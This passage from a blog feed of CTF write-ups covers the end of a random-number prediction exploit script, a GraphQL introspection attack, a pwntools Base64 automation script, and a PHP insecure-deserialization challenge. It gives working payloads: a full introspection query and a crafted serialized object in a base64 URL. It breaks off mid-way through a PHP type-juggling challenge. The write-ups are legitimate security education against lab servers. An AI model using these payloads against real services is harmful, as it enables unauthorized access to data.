</span></span><span class="line"><span class="cl"><span class="n">mt</span><span class="p">[</span><span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">M</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># print(mt)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt_index</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">mt_index</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">43</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">67</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskC</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">69</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mt_index</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;:&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s1">= </span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><p><code>flag: GLUG{R4nd0m_Numb3r_G3n3r470r_15_tru3ly_r4nd0m_0r_15_17}</code></p>
<h2 id="web">Web:</h2>
<h3 id="inspect">inspect:</h3>
<p>Description: Don&rsquo;t think too much. Just push to production <a href="http://chall.foobar.nitdgplug.org:30045/">http://chall.foobar.nitdgplug.org:30045/</a></p>
<p>Rest API was boring so I used modern technology.</p>
<p>Let&rsquo;s open this website</p>
<img width="128" alt="image" src="https://user-images.githubusercontent.com/79740895/224526224-ea11b319-230a-42fe-92cf-84090ed2f17a.png">
<p>Hmn Cannot GET /</p>
<p>I tried robots.txt and checked http response headers but nothing, so I did directory bruteforce and got this endpoint: <code>/graphql</code>
GraphQL is a query language developed by Facebook</p>
<p><a href="http://chall.foobar.nitdgplug.org:30045/graphql">http://chall.foobar.nitdgplug.org:30045/graphql</a></p>
<img width="912" alt="image" src="https://user-images.githubusercontent.com/79740895/224526458-6af4998c-6aca-405d-900d-d81e0de2779d.png">
<p>Reference : <a href="https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/">https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/</a></p>
<p><em>Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.</em></p>
<p>GraphQL introspection payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="p">{</span><span class="n">__schema</span><span class="p">{</span><span class="n">queryType</span><span class="p">{</span><span class="n">name</span><span class="p">}</span><span class="n">mutationType</span><span class="p">{</span><span class="n">name</span><span class="p">}</span><span class="n">subscriptionType</span><span class="p">{</span><span class="n">name</span><span class="p">}</span><span class="n">types</span><span class="p">{</span><span class="o">...</span><span class="n">FullType</span><span class="p">}</span><span class="n">directives</span><span class="p">{</span><span class="n">name</span> <span class="n">description</span> <span class="n">locations</span> <span class="n">args</span><span class="p">{</span><span class="o">...</span><span class="n">InputValue</span><span class="p">}}}}</span><span class="n">fragment</span> <span class="n">FullType</span> <span class="n">on</span> <span class="n">__Type</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">description</span> <span class="n">fields</span><span class="p">(</span><span class="n">includeDeprecated</span><span class="p">:</span><span class="bp">true</span><span class="p">){</span><span class="n">name</span> <span class="n">description</span> <span class="n">args</span><span class="p">{</span><span class="o">...</span><span class="n">InputValue</span><span class="p">}</span><span class="n">type</span><span class="p">{</span><span class="o">...</span><span class="n">TypeRef</span><span class="p">}</span><span class="n">isDeprecated</span> <span class="n">deprecationReason</span><span class="p">}</span><span class="n">inputFields</span><span class="p">{</span><span class="o">...</span><span class="n">InputValue</span><span class="p">}</span><span class="n">interfaces</span><span class="p">{</span><span class="o">...</span><span class="n">TypeRef</span><span class="p">}</span><span class="n">enumValues</span><span class="p">(</span><span class="n">includeDeprecated</span><span class="p">:</span><span class="bp">true</span><span class="p">){</span><span class="n">name</span> <span class="n">description</span> <span class="n">isDeprecated</span> <span class="n">deprecationReason</span><span class="p">}</span><span class="n">possibleTypes</span><span class="p">{</span><span class="o">...</span><span class="n">TypeRef</span><span class="p">}}</span><span class="n">fragment</span> <span class="n">InputValue</span> <span class="n">on</span> <span class="n">__InputValue</span><span class="p">{</span><span class="n">name</span> <span class="n">description</span> <span class="n">type</span><span class="p">{</span><span class="o">...</span><span class="n">TypeRef</span><span class="p">}</span><span class="n">defaultValue</span><span class="p">}</span><span class="n">fragment</span> <span class="n">TypeRef</span> <span class="n">on</span> <span class="n">__Type</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span> <span class="n">ofType</span><span class="p">{</span><span class="n">kind</span> <span class="n">name</span><span class="p">}}}}}}}}</span>
</span></span></code></pre></div><p>response:</p>
<img width="897" alt="image" src="https://user-images.githubusercontent.com/79740895/224526602-52da26c6-020d-48af-a460-421d6e0107f3.png">
<p>This secret field looks interesting let&rsquo;s extract this.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">  secret {
</span></span><span class="line"><span class="cl">    text
</span></span><span class="line"><span class="cl">  }
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><p>response:</p>
<img width="628" alt="image" src="https://user-images.githubusercontent.com/79740895/224526694-ede5c243-723e-496f-8fe7-bce808c170cb.png">
<p>when I saw the flag I immediately tried to submit it, but it was wrong then I realised that there are multiple flags.</p>
<p>75 in total.</p>
<p>first I thought it is rabbit hole, but I went through every flag and found this:</p>
<img width="283" alt="image" src="https://user-images.githubusercontent.com/79740895/224526864-605393f7-34fc-4ce6-8bb3-2c8e371cd3e1.png">
<p>this makes sense <code>inspect</code> is challenge name and <code>graphql</code> is endpoint.</p>
<p><code>flag: GLUG{1nsp3c7_1n_gr4phq6}</code></p>
<p>This is correct one.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>CloudSEK - Nullcon Cyber Security CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/cloudsek-nullcon-2023/</link>
      <pubDate>Wed, 18 Oct 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/cloudsek-nullcon-2023/</guid>
      <description>Write-ups for the CloudSEK - Nullcon Cyber Security CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>ClouSEK&rsquo;s CTF challenge during NULLCON 2023</p></blockquote>
<h3 id="bases">Bases</h3>
<p>Points: 100</p>
<p>Description:</p>
<ul>
<li>Do you Know Your Bases?</li>
<li>PS: No Bruteforcing is required</li>
<li>This Challange does not require you to access any other Port</li>
<li><code>nc 43.204.152.119 1337</code></li>
</ul>
<p>When connecting to the server we are given with Base64 encoded text and we have to submit the Base64 decoded text in the input but doing so it keep asking
for new Base64 text</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-nullcon-2023/md/aac2df14-9be2-4a4c-a9cf-ade5dccf249a.webp"></p>
<p>Looking at the challenge category (<code>Scripting</code>), we can figure out that this process requires automation with the use of any scripting language. I&rsquo;m am using  Python here</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;43.204.152.119&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">b64d</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">102</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">b64d</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">IndexError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># print(a)</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># n=101 ; flag: CSEK{3he_bas3_dec04er}</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">D:</span><span class="p">\</span><span class="n">GitHub</span><span class="p">\</span><span class="n">ctf</span><span class="p">&gt;</span> <span class="n">python</span> <span class="p">.\</span><span class="mf">1</span><span class="p">.</span><span class="py">py</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">x</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">x</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span><span class="err">:</span> <span class="n">Trying</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span>
</span></span><span class="line"><span class="cl"><span class="p">[+]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span><span class="err">:</span> <span class="n">Done</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;What does this mean:\tblZNdGp4endmVzRrNTZoRHBsZUpLSXlMWDFQVWlDYloyY1RGZDhFMDM5T3ZzUkFtSGFCUUdnWVNvN3JOcXU=\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;nVMtjxzwfW4k56hDpleJKIyLX1PUiCbZ2cTFd8E039OvsRAmHaBQGgYSo7rNqu&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">2</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\tSGV6RjhocWF0MGlMUlBEQTFsTXJWS1VFNEpqVE9HTnhwMlhkNllCM3Y5U29zV0l3NXltYjdjbmtDUVpndWY=\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="mf">99</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\tSHltaGdNVWNJUTdvM3J3RFB1WmVuZlRLWXhxYjZOWHZHanpTOEZ0aU8yOUVBa1JkSldWc2wwTDRwQkMxNWE=\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">100</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\tSnpzNkVCUTdZRloyd3JlNHUzVU1Sa2xtTHBPZzVkV1hEOXFiaHgwdmpTVlAxeUdUTkNuS2NmQTh0YWlISW8=\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">101</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; CSEK{3he_bas3_dec04er}\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">list</span> <span class="n">index</span> <span class="n">out</span> <span class="n">of</span> <span class="n">range</span>
</span></span><span class="line"><span class="cl"><span class="p">[*]</span> <span class="n">Closed</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">port</span> <span class="mf">1337</span>
</span></span></code></pre></div><p>Flag: <code>CSEK{3he_bas3_dec04er}</code></p>
<br />
<h3 id="serialization-saga">Serialization Saga</h3>
<p>Points: 100</p>
<p>Description:</p>
<ul>
<li>This Capture The Flag (CTF) challenge is designed to assess your ability to identify and exploit fundamental insecure deserialization vulnerabilities. Can you successfully execute the necessary functions and retrieve the flags? Lesssgoo!</li>
<li>PS: No Bruteforcing is required</li>
<li><a href="https://webctf.cloudsek.com/serialization-saga">https://webctf.cloudsek.com/serialization-saga</a></li>
</ul>
<p>On the webpage we can see the php code.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-nullcon-2023/md/f610570a-6070-4f62-b5ba-b84f0f129bfc.webp"></p>
<p>PHP code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CloudSEK</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="nv">$func_no</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="nv">$func_name</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$no</span> <span class="p">,</span> <span class="nv">$name</span><span class="p">)</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$no</span> <span class="o">==</span> <span class="k">NULL</span> <span class="o">&amp;&amp;</span> <span class="nv">$name</span> <span class="o">==</span> <span class="k">NULL</span><span class="p">)</span>   <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">func_no</span> <span class="o">=</span> <span class="nv">$no</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">func_name</span> <span class="o">=</span> <span class="nv">$name</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$func_map</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="mi">1</span> <span class="o">=&gt;</span> <span class="s2">&#34;XVigil&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="mi">2</span> <span class="o">=&gt;</span> <span class="s2">&#34;BeVigil&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="mi">3</span> <span class="o">=&gt;</span> <span class="s2">&#34;GetMeDemFlagz&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$func_no</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">func_no</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$func_name</span> <span class="o">=</span> <span class="nx">str_rot13</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">func_name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$func_map</span><span class="p">[</span><span class="nv">$func_no</span><span class="p">]</span> <span class="o">===</span> <span class="nv">$func_name</span><span class="p">)</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="nv">$func_name</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">echo</span> <span class="s2">&#34;&lt;h3&gt;Invalid Object Data&lt;/h3&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">function</span> <span class="nf">XVigil</span><span class="p">()</span>   <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">echo</span> <span class="s2">&#34;&lt;h3&gt;XVigil is a cybersecurity platform designed to help organizations monitor and mitigate potential security threats and vulnerabilities across the digital landscape.&lt;/h3&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">function</span> <span class="nf">BeVigil</span><span class="p">()</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">echo</span> <span class="s2">&#34;&lt;h3&gt;World&#39;s first Security Search Engine mobiles that makes sure the applications installed in your phone are safe.&lt;/h3&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">function</span> <span class="nf">GetMeDemFlagz</span><span class="p">()</span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$flag_file</span> <span class="o">=</span> <span class="s2">&#34;/tmp/flag.txt&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">file_exists</span><span class="p">(</span><span class="nv">$flag_file</span><span class="p">))</span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$file_contents</span> <span class="o">=</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$flag_file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">echo</span> <span class="nv">$file_contents</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$err_msg</span> <span class="o">=</span> <span class="s2">&#34;&lt;h3&gt;File Not Found!&lt;/h3&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$file_contents</span> <span class="o">=</span> <span class="nv">$err_msg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">echo</span> <span class="nv">$err_msg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// $cloudsek = new CloudSEK(1 , &#34;XVigil&#34;);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$sess</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;sess&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$sess</span><span class="p">))</span>  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">exit</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$data</span> <span class="o">=</span> <span class="nx">base64_decode</span><span class="p">(</span><span class="nv">$sess</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$obj</span> <span class="o">=</span> <span class="nx">unserialize</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-nullcon-2023/md/614e9955-4dfe-4861-93dc-727be8da744a.webp"></p>
<p>In this code we can see that it is checking if GET parameter <code>sess</code> exist if yes Base64 decode it and parse it to php unserialize()</p>
<p>There is also  <code>__wakeup()</code> function which is called on unserialize</p>
<p>to get the flag we have to call <code>GetMeDemFlagz</code> function. __wakeup function will perform rot13 on <code>func_name</code> and value of <code>func_no</code> should be index of the name of function in <code>func_map</code> array.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-nullcon-2023/md/26d57175-a6e9-4afa-a12d-265deadf4863.webp"></p>
<p>Now lets create the payload</p>
<p>Object name would be <code>CloudSEK</code> &lt;&ndash; name of the class.
func_no = 3 and func_name = rot13(&ldquo;GetMeDemFlagz&rdquo;)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">O:8:&#34;CloudSEK&#34;:2:{s:7:&#34;func_no&#34;;i:3;s:9:&#34;func_name&#34;;s:13:&#34;TrgZrQrzSyntm&#34;;}
</span></span></code></pre></div><p>Base64 decode this and put it in GET parameter <code>sess</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://webctf.cloudsek.com/serialization-saga?sess=Tzo4OiJDbG91ZFNFSyI6Mjp7czo3OiJmdW5jX25vIjtpOjM7czo5OiJmdW5jX25hbWUiO3M6MTM6IlRyZ1pyUXJ6U3ludG0iO30=
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-nullcon-2023/md/828ee104-9265-40a6-980d-7bd5e97a6a9f.webp"></p>
<p>Flag: <code>CSEK{PhP_0Bj3CT_D3$3R1L1Z@T10N}</code></p>
<br />
<h3 id="the-sha-juggler">The SHA Juggler</h3>
<p>Point: 100</p>
<p>Description:</p>
<ul>
<li>Dive into the depths of &ldquo;The SHA Juggler,&rdquo; a mysterious web challenge that tests your prowess in PHP type juggling, cunning encoding techniques, and web exploitation. Your mission is to outwit the system, leveraging the peculiarities of PHP type comparisons, decipher the applied encodings, and exploit vulnerabilities to retrieve the concealed flag. Can you navigate the enigmatic interplay of types and encodings and emerge victorious?</li>
<li>PS: No Bruteforcing is required</li>
<li><a href="https://webctf.cloudsek.com/the-sha-juggler">https://webctf.cloudsek.com/the-sha-juggler</a></li>
</ul>
<p>in the pagesource of the webpage there is a variable <code>isThisNormal</code> which have long hex code, let&rsquo;s decode it</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="k">const</span> <span class="n">isThisNormal</span> <span class="o">=</span> <span class="s2">&#34;50 44 39 77 61 48 41 4b 4c 79 38 67 65 57 39 31 58 32 5a 76 64 57 35 6b 58 32 31 6c 4c 6e 42 6f 63 41 70 70 5a 69 41 6f 61 58 4e 7a 5a 58 51 6f 4a 46 39 48 52 56 52 62 4a 32 68 68 63 32 67 6e 58 53 6b 70 49 48 73 4b 49 43 41 67 49 47 6c 6d 49 43 67 6b 58 30 64 46 56 46 73 6e 61 47 46 7a 61 43 64 64 49 44 30 39 50 53 41 69 4d 54 41 35 4d 7a 49 30 4d 7a 55 78 4d 54 49 69 4b 53 42 37 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 6c 6c 4b 43 64 45 62 79 42 35 62 33 55 67 64 47 68 70 62 6d 73 67 61 58 52 7a 49 48 52 6f 59 58 51 67 5a 57 46 7a 65 54 38 2f 4a 79 6b 37 43 69 41 67 49 43 42 39 43 69 41 67 49 43 41 6b 61 47 46 7a 61 43 41 39 49 48 4e 6f 59 54 45 6f 4a 46 39 48 52 56 52 62 4a 32 68 68 63 32 67 6e 58 53 6b 37 43 69 41 67 49 43 41 6b 64 47 46 79 5a 32 56 30 49 44 30 67 63 32 68 68 4d 53 67 78 4d 44 6b 7a 4d 6a 51 7a 4e 54 45 78 4d 69 6b 37 43 69 41 67 49 43 42 70 5a 69 67 6b 61 47 46 7a 61 43 41 39 50 53 41 6b 64 47 46 79 5a 32 56 30 4b 53 42 37 43 69 41 67 49 43 41 67 49 43 